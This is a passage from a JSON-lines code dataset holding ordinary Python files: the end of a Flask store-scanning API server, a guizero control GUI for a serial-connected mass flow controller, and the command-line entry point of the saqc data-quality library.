'None':\n\t\t\t#Invalid store code, log the error and return 'Invalid Store Code'\t\t\t\n\t\t\tprint ('Error, supplied store_code ' + store_code.upper() + ' and OrderID ' + OrderID+ ' did not match any records')\n\t\t\treturn ('ERROR:Invalid Store Code / OrderID')\n\t\telse:\n\t\t\tprint ('Returned data for Order: ' + str(queryResult[2]) )\n\t\t\t\n\t\t\t\n\t\t#Before we query the request, log it\n\t\tnow = datetime.datetime.now()\n\t\trequestType = 'GetTransactionItems'\n\t\tquery = logconn.execute(\"INSERT INTO RequestLog(DateTime, RequestType, StoreCode, Upc, ExternalIPAddress, InternalIPAddress, \\\n\t\t\tRealIPAddress) VALUES(?,?,?,?,?,?,?)\", (now, requestType, store_code.upper(), OrderID, external_IPAddress, internal_IPAddress, real_IPAddress))\n\t\t\t\t\n\t\t# Save (commit) the changes and close the DBs\n\t\tconn.commit()\n\t\tlogconn.commit()\n\t\tconn.close()\n\t\tlogconn.close()\n\t\t\n\t\t#Send an answer back.  \n\t\treturn jsonify(str(queryResult[2]))\n\nclass SendTransactionItems_Meta(Resource):\n#This is the opposite of many of the functions and actually takes data via a POST request.  It then records items in a new transaction and returns the trxid\n\n\t\t#@copy_current_request_context\n\t\tdef post(self):\n\t\t\t\n\t\t\treal_IPAddress = request.environ.get('HTTP_X_REAL_IP', request.remote_addr)\n\t\t\tprint ('-------------------\\n New SendTransactionItems Request from: ' + real_IPAddress)\t\n\t\t\tprint ('    [--Start of Request Headers--] \\n' + str(request.headers) + '    [--End of Request Headers--] \\n')\t\n\t\t\tprint ('    [--Start of Request Text--] \\n' + str(request.data.decode('utf-8')) + '    [--End of Request Text--] \\n')\t\n\t\t\t\n\t\t\t#Connect to the databases\n\t\t\tconn = sqlite3.connect('ShopAndScan.db')\n\t\t\tlogconn = sqlite3.connect('RequestLog.db')\n\t\t\t\n\t\t\t\n\t\t\tif request.headers['Content-Type'] == 'text/plain':\n\t\t\t\t\n\t\t\t\t#Get the contents of what I was sent\n\t\t\t\tcontents = request.data.decode('utf-8')\n\t\t\t\t#Now, split it based on comma.  \n\t\t\t\tcontents = contents.split(\",\")\n\t\t\t\t\t\t\t\t\n\t\t\t\tstore_code = contents[0].upper()\n\t\t\t\titem_list = contents[1:]\n\t\t\t\tprint ('    [--Number of elements--] ' + str(len(contents)) + '    [--Store Code-]' + store_code + '    [--Item List-]' + str(item_list))\n\t\t\t\t\n\t\t\t\t#Insert the data that we determined above into the OpenOrders Table in the ShopAndScan.db file\n\t\t\t\tquery = conn.execute(\"INSERT INTO OpenOrders (StoreCode, ItemList) VALUES(?,?)\", (str(store_code.upper()), str(item_list)))\n\t\t\t\t\n\t\t\t\t#Get the rowid just added and write/close the database\n\t\t\t\treturnString = {'data':query.lastrowid}\n\t\t\t\tconn.commit()\n\t\t\t\tconn.close()\n\t\t\t\t\t\t\t\t\n\t\t\t\t#Before we do anything else, log the request.\n\t\t\t\tnow = datetime.datetime.now()\n\t\t\t\trequestType = 'SendTransactionItems'\n\t\t\t\tquery = logconn.execute(\"INSERT INTO RequestLog(DateTime, RequestType, StoreCode, UPC, RealIPAddress, RequestHeaders, RequestData) \\\n\t\t\t\t\tVALUES(?,?,?,?,?,?,?)\", (now, requestType, store_code.upper(), str(item_list), real_IPAddress,str(request.headers),str(request.data.decode('utf-8'))))\n\t\t\t\tlogconn.commit()\n\t\t\t\tlogconn.close()\n\t\t\t\t\n\t\t\t\tprint ('------------------- END of SendTransactionItems Request from: ' + real_IPAddress + '\\n\\n')\t\n\t\t\t\t\n\t\t\t\treturn returnString\n\t\t\t\t\n\t\t\telse:\n\t\t\t\tprint ('------------------- Error SendTransactionItems Request from: ' + real_IPAddress + ' was invalid.\\n\\n')\t\n\t\t\t\tnow = datetime.datetime.now()\n\t\t\t\trequestType = 'SendTransactionItems'\n\t\t\t\tquery = logconn.execute(\"INSERT INTO RequestLog(DateTime, RequestType, StoreCode, UPC, RealIPAddress, RequestHeaders, RequestData) \\\n\t\t\t\t\tVALUES(?,?,?,?,?,?,?)\", (now, requestType, store_code.upper(), str(item_list), real_IPAddress,str(request.headers),str(request.data.decode('utf-8'))))\n\t\t\t\treturn \"ERROR: Invalid Content-Type\"\t\t\n\t\t\t\t\n\n\t\t\t\t\n#URLs below\napi.add_resource(GetItemInfo_Meta, '/grabber/api/v1.0/GetItemInfo/<string:store_code>/<string:upc>/<string:external_IPAddress>/<string:internal_IPAddress>')\napi.add_resource(CheckValidStore_Meta, '/grabber/api/v1.0/CheckValidStore/<string:store_code>/<string:external_IPAddress>/<string:internal_IPAddress>')\napi.add_resource(SendTransactionItems_Meta, '/grabber/api/v1.0/SendTransactionItems')\napi.add_resource(GetTransactionItems_Meta, '/grabber/api/v1.0/GetTransactionItems/<string:store_code>/<string:OrderID>/<string:external_IPAddress>/<string:internal_IPAddress>')\n\nif __name__ == '__main__':\n#\tapp.run()\t\t\n# Do the below for the app to run from external hosts (Dangerous)\n\tapp.run(host='0.0.0.0')\n", "repo_name": "itec285/ShopScan", "sub_path": "ShopAndScanServer.py", "file_name": "ShopAndScanServer.py", "file_ext": "py", "file_size_in_byte": 13723, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask.Flask", "line_number": 8, "usage_type": "call"}, {"api_name": "flask_restful.Api", "line_number": 9, "usage_type": "call"}, {"api_name": "flask_restful.Resource", "line_number": 11, "usage_type": "name"}, {"api_name": "flask.request.environ.get", "line_number": 15, "usage_type": "call"}, {"api_name": "flask.request.environ", "line_number": 15, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 15, "usage_type": "name"}, {"api_name": "flask.request.remote_addr", "line_number": 15, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 18, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 18, "usage_type": "attribute"}, {"api_name": "sqlite3.connect", "line_number": 21, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 22, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 113, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 113, "usage_type": "attribute"}, {"api_name": "flask.jsonify", "line_number": 125, "usage_type": "call"}, {"api_name": "flask_restful.Resource", "line_number": 128, "usage_type": "name"}, {"api_name": "flask.request.environ.get", "line_number": 132, "usage_type": "call"}, {"api_name": "flask.request.environ", "line_number": 132, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 132, "usage_type": "name"}, {"api_name": "flask.request.remote_addr", "line_number": 132, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 135, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 135, "usage_type": "attribute"}, {"api_name": "sqlite3.connect", "line_number": 138, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 139, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 142, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 142, "usage_type": "attribute"}, {"api_name": "flask_restful.Resource", "line_number": 171, "usage_type": "name"}, {"api_name": "flask.request.environ.get", "line_number": 175, "usage_type": "call"}, {"api_name": "flask.request.environ", "line_number": 175, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 175, "usage_type": "name"}, {"api_name": "flask.request.remote_addr", "line_number": 175, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 178, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 178, "usage_type": "attribute"}, {"api_name": "sqlite3.connect", "line_number": 181, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 182, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 201, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 201, "usage_type": "attribute"}, {"api_name": "flask.jsonify", "line_number": 213, "usage_type": "call"}, {"api_name": "flask_restful.Resource", "line_number": 215, "usage_type": "name"}, {"api_name": "flask.request.environ.get", "line_number": 221, "usage_type": "call"}, {"api_name": "flask.request.environ", "line_number": 221, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 221, "usage_type": "name"}, {"api_name": "flask.request.remote_addr", "line_number": 221, "usage_type": "attribute"}, {"api_name": "flask.request.headers", "line_number": 223, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 223, "usage_type": "name"}, {"api_name": "flask.request.data.decode", "line_number": 224, "usage_type": "call"}, {"api_name": "flask.request.data", "line_number": 224, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 224, "usage_type": "name"}, {"api_name": "sqlite3.connect", "line_number": 227, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 228, "usage_type": "call"}, {"api_name": "flask.request.headers", "line_number": 231, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 231, "usage_type": "name"}, {"api_name": "flask.request.data.decode", "line_number": 234, "usage_type": "call"}, {"api_name": "flask.request.data", "line_number": 234, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 234, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 251, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 251, "usage_type": "attribute"}, {"api_name": "flask.request.headers", "line_number": 254, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 254, "usage_type": "name"}, {"api_name": "flask.request.data.decode", "line_number": 254, "usage_type": "call"}, {"api_name": "flask.request.data", "line_number": 254, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 264, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 264, "usage_type": "attribute"}, {"api_name": "flask.request.headers", "line_number": 267, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 267, "usage_type": "name"}, {"api_name": "flask.request.data.decode", "line_number": 267, "usage_type": "call"}, {"api_name": "flask.request.data", "line_number": 267, "usage_type": "attribute"}]}
{"seq_id": "35020576783", "text": "import sys\nsys.path.insert(0,'/home/Dlab/MFC')\nfrom MFC import MFC\nimport serial\nfrom guizero import App, TextBox,  Box, PushButton, Text, Window, MenuBar, warn, yesno, ListBox\nfrom dataLogger import dataLogger\n#from gas_to_moles import moles_to_ccm\nimport  ChkUsrInputX\nimport binascii\n\n\nfile_name = \"\"\nlog = dataLogger()\nlogbool = 1\nflow = MFC()\nCR =b'\\r'\ns = serial.Serial('/dev/ttyUSB0')\n\n\n\ndef get_flow_Rate():\n\ts.write(flow.Flow_Read())\n\n\ta = s.read_until(CR)\n\tprint(\"read until cr  \", a)\n\n\ta_hex =  binascii.hexlify(a)    ## turns in to byte  b''  hex\n\t# print(\"hexlify\", a_hex)\n\n\ta_hex_str = str(a_hex)\n\t# print(\"str(a_hex) a_hex\", a_hex_str)\n\n\tstr_hex =  a_hex_str[2:-7]\n\t# print(\"Change length\", str_hex)\n\n\tun_hex = binascii.unhexlify(str_hex)\n#\tprint(\"unhexlify\", un_hex)\n\n\tun_hex_str = str(un_hex)\n\tprint(\"String unhex\", un_hex_str)\n\n\tvalue = un_hex_str[6:-1]\n\t#  print(\"Value =\", value)\n\n\tfValue = float(value)\n\tprint(\"Flow Rate is \",fValue)\n\tflow.set_flow_Rate(fValue)\n\n\n\n\n\n\n\n\n\n\n\n## Log Functions\ndef enable_Log():\t# Opens Logging Window\n\tlogWin.show()\n\tlogWin.enable()\n\n\ndef close_Log():\t# Closes Logging Window\n\tlogWin.disable()\n\tlogWin.hide()\n\ndef prime_log():\n\tglobal file_name\n\tfile_name =log.create_filename()\n#\tlogBox = Box(gui)\n\tlogBox.enable()\n\tlogBox.repeat(3000, RUN_log)\n#\tif  logbool == 0:\n#\t\tprint(\"destroy\")\n#\t\tlogBox.destroy()\n#\telif logbool ==1:\n#\t\tlogBox.enable()\ndef RUN_log():\n\tif file_name != \"\":\n\t\n\t\tprint(\"writing to log\")\n\t\tlog.write_file(file_name)\n\telse:\n\t\treturn False\n\n\n## Gui Functions\ndef ask_to_close():     # Propmts User before Program Exits\n\tif yesno(\"Exit\", \"Do you want to quit?\"):\n\t\tgui.destroy()\n\telse:\n\t\treturn\n\n## Eperiment Functions\n\n          # Begin Experiment Configuration   Starts with choosing Gas\n\ndef close_Exp_Conf():\n\texp_Window.disable()\n\texp_Window.hide()\n\tgui.show()\ndef select_gas():\n\n\tprint(\"select gas\")\n\tgasBox.enable()\n\tgasBox.show()\n\tmoleBox.disable()\n\tmoleBox.hide()\n\texp_Window.show()\n\texp_Window.enable()\ndef set_gas():\n\tflow.set_Gas(gas_list.value)\n\n\ndef select_moles():\n\tset_gas()\n\n\tgasBox.disable()\n\tprint(\"Moles\")\n\tgasBox.hide()\n\n\tflowBox.disable()\n\tflowBox.hide()\n\n\tgas_text.value = flow.gas_Type\n\tmoleBox.enable()\n\tmoleBox.show()\n\n\ndef set_moles():\n\tif ChkUsrInputX.chkUsrNumMole(enter_moles_textbox.value):\n\t\tflow.set_Moles(enter_moles_textbox.value)\n\t\tflow.moles_to_ccm()\n\t\tselect_flow()\n\telse:\n\t\twarn(\"Oops\", \"Not a Valid Number\")\n\n\n\t\tselect_moles()\n\t\tprint(\"hide moles\")\ndef select_flow():\n\tconfirmBox.disable()\n\tconfirmBox.hide()\n\tmoleBox.disable()\n\tmoleBox.hide()\n\tccm_gas_text.value =flow.volume\n\tflowBox.enable()\n\tflowBox.show()\n\ndef set_flow():\n\tif ChkUsrInputX.chkUsrNumSetPoint(flow_rate_textbox.value):\n\t\tprint(flow_rate_textbox.value)\n\t\tflow.set_Exp_flow_Rate(flow_rate_textbox.value)\n\telse:\n\t\twarn(\"Oops\", \"Not a Valid Number\")\n\t\tselect_flow()\ndef set_units():\n\tflow.set_Units(exp_units_list.value)\n\tprint(\"set units gui\")\n\tprint(exp_units_list.value)\ndef confirm_Experiment():\n\tset_flow()\n\tset_units()\n\tflowBox.disable()\n\tflowBox.hide()\n\tconfirm_moles_text.value = flow.moles\n\tconfirm_flow_rate_text.value = flow.Exp_flow_Rate\n\n\n\tconfirm_time_est_text.value = flow.time_Estimated_str\n\n\tconfirmBox.enable()\n\tconfirmBox.show()\ndef RUN_Experiment():\n\tglobal logbool\n\tconfirmBox.disable()\n\tconfirmBox.hide()\n\tclose_Exp_Conf()\n\tprint(\"Running\")\n#\tprime_log()\n\n\n\tprogress_Win.enable()\n\tprogress_Win.show()\n\n\tabort_exp_button.enable()\n\tabort_exp_button.show()\n\tlogbool = 1\n\n\n\tflowCmd = flow.SetPoint_Write(flow.Exp_flow_Rate)\n\ts.write(flowCmd)\n\n\tflow.create_filename()\n\tupdateBox =Box(progressBox)\n\tupdateBox.repeat(2000,Update_Progress)\ndef Update_Progress():\n\tget_flow_Rate()\n\tflowrate_text.value = flow.flow_Rate\n\tflow.write_file()\n\n\ttime_remain_text.value = flow.time_Remaining_str\n\tvolume_remain_text.value = flow.volume_Remaining_str\n\tif flow.volume_Remaining <= 0.001:\n\t\tSTOP_Flow()\n\t\tprogress_Win.destroy()\n\t\tfinished_Win.enable()\n\t\tfinished_Win.show()\n\ndef STOP_Flow():\n\ts.write(flow.SetPoint_Write(\"0.000\"))\n\tprint(\"Stop Flow\")\n\t\ndef ABORT_Experiment():\n\n\tglobal logbool\n\ts.write(flow.SetPoint_Write(\"0.000\"))    ##  Set Flow to Zero on Abort\n\tprogress_Win.disable()\n\tprogress_Win.hide()\n#\tprogressBox.cancel(Update_Progress)\n\tprogressBox.disable\n\tprogressBox.hide()\n\tprogress_Win.destroy()\n\tprogressBox.destroy()\n\tlogbool= 0\n\tprint(logbool)\n\tlogBox.destroy()\n\tgui.show()\ngui = App(title = \"Micro Trak 101 Mass Flow Controller\", height = 300, width = 500)   # Creates Main Window Object\n\n## Logger Widgets\nlogWin =Window(gui, title = \"Log Window\", visible = 0)        #  Creates  Log Window Object\nlogWin.disable()\n#openLogWinButton = PushButton(gui, text =\"Log Win\", command =enable_Log )   # PushButton to open Log Window  for Gui Window\n\ncloseLog_logwin_button = PushButton(logWin, text =\"Close Log\", command = close_Log )   # PushButton to close log for Log Window\n\n## Eperiment Widgets\nexp_Window = Window(gui, title = \"Experiment\",height=300, width = 500, visible = 0)\n\n                    ## Choose Gas Widgests\n\ngasBox = Box(exp_Window, visible = 0)\ngas_list = ListBox(gasBox, items =[\"Air\", \"Oxygen\", \"Hydrogen\", \"Nitrogen\"], selected = \"Air\", scrollbar = True)\nselect_gas_button = PushButton(gasBox, text = \"Next\",command = select_moles)\ncancel_exp_button = PushButton(gasBox, text = \"Cancel\" , command = close_Exp_Conf)\n\t\t    ## Choose micro moles\nmoleBox = Box(exp_Window, visible = 0)\ngas_text =Text(moleBox, text = \"\" )\nenter_moles_button = PushButton(moleBox, text = \"Next\", command = set_moles)\nenter_moles_textbox =TextBox(moleBox,text = 0)\nback_moles_button  = PushButton(moleBox, text = \"Back\", command = select_gas)\n\n\t\t ## Choose flow rate\n\nflowBox = Box(exp_Window, visible = 0)\nccm_gas_text = Text(flowBox, text = 0 )\nexp_units_list = ListBox(flowBox, items = [ \"scc/s\", \"scc/m\", \"kg/m\", \"g/m\"], selected = \"scc/m\", scrollbar = True  )\nback_flow_button = PushButton(flowBox, text = \"Back\",command = select_moles )\nconfirm_exp_button = PushButton(flowBox, text = \"Confirm\", command = confirm_Experiment)\nflow_rate_textbox = TextBox(flowBox, text = 0.100  )\n\n\t\t## Confirm Experiment ##\nconfirmBox = Box(exp_Window, visible = 0)\nRUN_button = PushButton(confirmBox, text = \"Run\", command = RUN_Experiment)\nconfirm_flow_rate_text = Text(confirmBox)\nconfirm_back_button = PushButton(confirmBox, text = \"Back\", command = select_flow)\nconfirm_moles_text = Text(confirmBox)\nconfirm_time_est_text = Text(confirmBox)\n\n\t\t## Experiment Progres Window\n\nprogress_Win = Window(gui,height = 300 , width = 500, title = \"Experiment Progress\", visible = 0)\nprogressBox = Box(progress_Win)\nabort_exp_button = PushButton(progressBox, text= \"Abort Experiment\",command = ABORT_Experiment)\ntime_remaining_str = Text(progressBox, text = \"Estimated Time Remaining \")\ntime_remain_text = Text( progressBox)\nvolume_remaining_str = Text(progressBox, text = \"Volume Remaining \")\nvolume_remain_text = Text(progressBox)\nlogBox = Box(gui, enabled = 0)\nflowrate_str = Text(progressBox, text = \"Flow Rate is \")\nflowrate_text = Text(progressBox)\n\n\t\t## Finished win\nfinished_Win = Window(gui, title = \"Operation Complete\", visible = 0)\n\n\n\n\n## MenuBar Widigets\nFile_options = [[\"Prepare Experiment\", select_gas], [\"Exit\", ask_to_close] ]\nDataLog_options = [ [\"Open Log\", enable_Log ] ]\n\n\nmenuBar = MenuBar(gui, [\"File\", \"DataLog\"], [File_options, DataLog_options])\n\n\ngui.display()\n\n", "repo_name": "Epikarsios/MFC", "sub_path": "gui/vis.py", "file_name": "vis.py", "file_ext": "py", "file_size_in_byte": 7365, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.path.insert", "line_number": 2, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 2, "usage_type": "attribute"}, {"api_name": "dataLogger.dataLogger", "line_number": 13, "usage_type": "call"}, {"api_name": "MFC.MFC", "line_number": 15, "usage_type": "call"}, {"api_name": "serial.Serial", "line_number": 17, "usage_type": "call"}, {"api_name": "binascii.hexlify", "line_number": 27, "usage_type": "call"}, {"api_name": "binascii.unhexlify", "line_number": 36, "usage_type": "call"}, {"api_name": "guizero.yesno", "line_number": 91, "usage_type": "call"}, {"api_name": "ChkUsrInputX.chkUsrNumMole", "line_number": 133, "usage_type": "call"}, {"api_name": "guizero.warn", "line_number": 138, "usage_type": "call"}, {"api_name": "ChkUsrInputX.chkUsrNumSetPoint", "line_number": 153, "usage_type": "call"}, {"api_name": "guizero.warn", "line_number": 157, "usage_type": "call"}, {"api_name": "guizero.Box", "line_number": 197, "usage_type": "call"}, {"api_name": "guizero.App", "line_number": 231, "usage_type": "call"}, {"api_name": "guizero.Window", "line_number": 234, "usage_type": "call"}, {"api_name": "guizero.PushButton", "line_number": 238, "usage_type": "call"}, {"api_name": "guizero.Window", "line_number": 241, "usage_type": "call"}, {"api_name": "guizero.Box", "line_number": 245, "usage_type": "call"}, {"api_name": "guizero.ListBox", "line_number": 246, "usage_type": "call"}, {"api_name": "guizero.PushButton", "line_number": 247, "usage_type": "call"}, {"api_name": "guizero.PushButton", "line_number": 248, "usage_type": "call"}, {"api_name": "guizero.Box", "line_number": 250, "usage_type": "call"}, {"api_name": "guizero.Text", "line_number": 251, "usage_type": "call"}, {"api_name": "guizero.PushButton", "line_number": 252, "usage_type": "call"}, {"api_name": "guizero.TextBox", "line_number": 253, "usage_type": "call"}, {"api_name": "guizero.PushButton", "line_number": 254, "usage_type": "call"}, {"api_name": "guizero.Box", "line_number": 258, "usage_type": "call"}, {"api_name": "guizero.Text", "line_number": 259, "usage_type": "call"}, {"api_name": "guizero.ListBox", "line_number": 260, "usage_type": "call"}, {"api_name": "guizero.PushButton", "line_number": 261, "usage_type": "call"}, {"api_name": "guizero.PushButton", "line_number": 262, "usage_type": "call"}, {"api_name": "guizero.TextBox", "line_number": 263, "usage_type": "call"}, {"api_name": "guizero.Box", "line_number": 266, "usage_type": "call"}, {"api_name": "guizero.PushButton", "line_number": 267, "usage_type": "call"}, {"api_name": "guizero.Text", "line_number": 268, "usage_type": "call"}, {"api_name": "guizero.PushButton", "line_number": 269, "usage_type": "call"}, {"api_name": "guizero.Text", "line_number": 270, "usage_type": "call"}, {"api_name": "guizero.Text", "line_number": 271, "usage_type": "call"}, {"api_name": "guizero.Window", "line_number": 275, "usage_type": "call"}, {"api_name": "guizero.Box", "line_number": 276, "usage_type": "call"}, {"api_name": "guizero.PushButton", "line_number": 277, "usage_type": "call"}, {"api_name": "guizero.Text", "line_number": 278, "usage_type": "call"}, {"api_name": "guizero.Text", "line_number": 279, "usage_type": "call"}, {"api_name": "guizero.Text", "line_number": 280, "usage_type": "call"}, {"api_name": "guizero.Text", "line_number": 281, "usage_type": "call"}, {"api_name": "guizero.Box", "line_number": 282, "usage_type": "call"}, {"api_name": "guizero.Text", "line_number": 283, "usage_type": "call"}, {"api_name": "guizero.Text", "line_number": 284, "usage_type": "call"}, {"api_name": "guizero.Window", "line_number": 287, "usage_type": "call"}, {"api_name": "guizero.MenuBar", "line_number": 297, "usage_type": "call"}]}
{"seq_id": "21467990943", "text": "from __future__ import annotations\n\nimport json\nimport logging\nfrom functools import partial\nfrom pathlib import Path\n\nimport click\nimport numpy as np\nimport pandas as pd\nimport pyarrow as pa\n\nfrom saqc.core import DictOfSeries\nfrom saqc.core.core import TRANSLATION_SCHEMES\nfrom saqc.parsing.reader import _ConfigReader\nfrom saqc.version import __version__\n\nlogger = logging.getLogger(\"SaQC\")\nLOG_FORMAT = \"[%(asctime)s][%(name)s][%(levelname)s]: %(message)s\"\n\n\ndef _setupLogging(loglvl):\n    logger.setLevel(loglvl)\n    handler = logging.StreamHandler()\n    logger.addHandler(handler)\n    logging.basicConfig(level=loglvl, format=LOG_FORMAT)\n\n\ndef setupIO(nodata):\n    reader = {\n        \".csv\": partial(pd.read_csv, index_col=0, parse_dates=True),\n        \".parquet\": pd.read_parquet,\n    }\n\n    writer = {\n        \".csv\": partial(pd.DataFrame.to_csv, header=True, index=True, na_rep=nodata),\n        \".parquet\": lambda df, outfile: pa.parquet.write_table(\n            pa.Table.from_pandas(df), outfile\n        ),\n    }\n    return reader, writer\n\n\ndef readData(reader_dict, fname):\n    extension = Path(fname).suffix\n    reader = reader_dict.get(extension)\n    if not reader:\n        raise ValueError(\n            f\"Unsupported file format '{extension}', use one of {tuple(reader_dict.keys())}\"\n        )\n    return reader(fname)\n\n\ndef writeData(writer_dict, df, fname):\n    extension = Path(fname).suffix\n    writer = writer_dict.get(extension)\n    if not writer:\n        raise ValueError(\n            f\"Unsupported file format '{extension}', use one of {tuple(writer_dict.keys())}\"\n        )\n    writer(df, fname)\n\n\n@click.command()\n@click.version_option(__version__)\n@click.option(\n    \"-c\",\n    \"--config\",\n    type=click.Path(),\n    required=True,\n    help=\"Path to a configuration file. Use a '.json' extension to provide a JSON-\"\n    \"configuration. Otherwise files are treated as CSV.\",\n)\n@click.option(\n    \"-d\",\n    \"--data\",\n    type=click.Path(),\n    multiple=True,\n    required=True,\n    help=\"Path to a data file.\",\n)\n@click.option(\n    \"-o\",\n    \"--outfile\",\n    type=click.Path(exists=False),\n    required=False,\n    help=\"Path to a output file.\",\n)\n@click.option(\n    \"--scheme\",\n    default=\"simple\",\n    show_default=True,\n    type=click.Choice(tuple(TRANSLATION_SCHEMES.keys())),\n    help=\"A flagging scheme to use.\",\n)\n@click.option(\n    \"--nodata\", default=np.nan, help=\"Set a custom nodata value.\", show_default=True\n)\n@click.option(\n    \"--log-level\",\n    \"-ll\",\n    default=\"INFO\",\n    show_default=True,\n    type=click.Choice([\"DEBUG\", \"INFO\", \"WARNING\"]),\n    help=\"Set log verbosity.\",\n)\n@click.option(\n    \"--json-field\",\n    default=None,\n    help=\"Use the value from the given FIELD from the root object of a json file. The \"\n    \"value must hold a array of saqc tests. If the option is not given, a passed \"\n    \"JSON config is assumed to have an array of saqc tests as root element.\",\n)\ndef main(\n    config: str,\n    data: str,\n    scheme: str,\n    outfile: str,\n    nodata: str | float,\n    log_level: str,\n    json_field: str | None,\n):\n    # data is always a list of data files\n\n    _setupLogging(log_level)\n    reader, writer = setupIO(nodata)\n    data = [readData(reader, f) for f in data]\n\n    config = str(config)\n    cr = _ConfigReader(data=data, scheme=scheme)\n    if config.endswith(\"json\"):\n        f = None\n        if json_field is not None:\n            f = lambda j: j[str(json_field)]\n        cr = cr.readJson(config, unpack=f)\n    else:\n        cr = cr.readCsv(config)\n\n    saqc = cr.run()\n\n    data_result = saqc.data.to_pandas()\n    flags_result = saqc.flags\n    if isinstance(flags_result, DictOfSeries):\n        flags_result = flags_result.to_pandas()\n\n    if outfile:\n        data_result.columns = pd.MultiIndex.from_product(\n            [data_result.columns.tolist(), [\"data\"]]\n        )\n\n        if not isinstance(flags_result.columns, pd.MultiIndex):\n            flags_result.columns = pd.MultiIndex.from_product(\n                [flags_result.columns.tolist(), [\"flags\"]]\n            )\n\n        out = pd.concat([data_result, flags_result], axis=1).sort_index(\n            axis=1, level=0, sort_remaining=False\n        )\n\n        writeData(writer, out, outfile)\n\n\nif __name__ == \"__main__\":\n    main()\n", "repo_name": "Helmholtz-UFZ/saqc", "sub_path": "saqc/__main__.py", "file_name": "__main__.py", "file_ext": "py", "file_size_in_byte": 4262, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 10, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 18, "usage_type": "call"}, {"api_name": "logging.StreamHandler", "line_number": 24, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 26, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 31, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 31, "usage_type": "attribute"}, {"api_name": "pandas.read_parquet", "line_number": 32, "usage_type": "attribute"}, {"api_name": "functools.partial", "line_number": 36, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 36, "usage_type": "attribute"}, {"api_name": "pyarrow.parquet.write_table", "line_number": 37, "usage_type": "call"}, {"api_name": "pyarrow.parquet", "line_number": 37, "usage_type": "attribute"}, {"api_name": "pyarrow.Table.from_pandas", "line_number": 38, "usage_type": "call"}, {"api_name": "pyarrow.Table", "line_number": 38, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 45, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 55, "usage_type": "call"}, {"api_name": "saqc.parsing.reader._ConfigReader", "line_number": 130, "usage_type": "call"}, {"api_name": "saqc.core", "line_number": 139, "usage_type": "name"}, {"api_name": "saqc.core.data.to_pandas", "line_number": 141, "usage_type": "call"}, {"api_name": "saqc.core.data", "line_number": 141, "usage_type": "attribute"}, {"api_name": "saqc.core", "line_number": 141, "usage_type": "name"}, {"api_name": "saqc.core.flags", "line_number": 142, "usage_type": "attribute"}, {"api_name": "saqc.core", "line_number": 142, "usage_type": "name"}, {"api_name": "saqc.core.DictOfSeries", "line_number": 143, "usage_type": "argument"}, {"api_name": "pandas.MultiIndex.from_product", "line_number": 147, "usage_type": "call"}, {"api_name": "pandas.MultiIndex", "line_number": 147, "usage_type": "attribute"}, {"api_name": "pandas.MultiIndex", "line_number": 151, "usage_type": "attribute"}, {"api_name": "pandas.MultiIndex.from_product", "line_number": 152, "usage_type": "call"}, {"api_name": "pandas.MultiIndex", "line_number": 152, "usage_type": "attribute"}, {"api_name": "pandas.concat", "line_number": 156, "usage_type": "call"}, {"api_name": "click.command", "line_number": 64, "usage_type": "call"}, {"api_name": "click.version_option", "line_number": 65, "usage_type": "call"}, {"api_name": "saqc.version.__version__", "line_number": 65, "usage_type": "argument"}, {"api_name": "click.option", "line_number": 66, "usage_type": "call"}, {"api_name": "click.Path", "line_number": 69, "usage_type": "call"}, {"api_name": "click.option", "line_number": 74, "usage_type": "call"}, {"api_name": "click.Path", "line_number": 77, "usage_type": "call"}, {"api_name": "click.option", "line_number": 82, "usage_type": "call"}, {"api_name": "click.Path", "line_number": 85, "usage_type": "call"}, {"api_name": "click.option", "line_number": 89, "usage_type": "call"}, {"api_name": "click.Choice", "line_number": 93, "usage_type": "call"}, {"api_name": "saqc.core.core.TRANSLATION_SCHEMES.keys", "line_number": 93, "usage_type": "call"}, {"api_name": "saqc.core.core.TRANSLATION_SCHEMES", "line_number": 93, "usage_type": "name"}, {"api_name": "click.option", "line_number": 96, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 97, "usage_type": "attribute"}, {"api_name": "click.option", "line_number": 99, "usage_type": "call"}, {"api_name": "click.Choice", "line_number": 104, 